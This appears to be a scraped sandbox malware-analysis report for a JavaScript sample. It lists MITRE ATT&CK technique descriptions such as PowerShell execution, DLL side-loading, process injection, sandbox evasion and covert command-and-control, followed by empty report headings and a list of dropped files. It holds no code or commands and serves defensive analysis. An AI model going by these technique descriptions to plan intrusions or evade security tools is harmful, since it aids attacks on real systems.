Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 631311201545628497.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9d2ed6d7-ee1d-45bb-a4ca-538c05526cfd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF404a8e.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f170572b-dba3-4d9c-a568-ccc0fa037b69.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
631311201545628497.js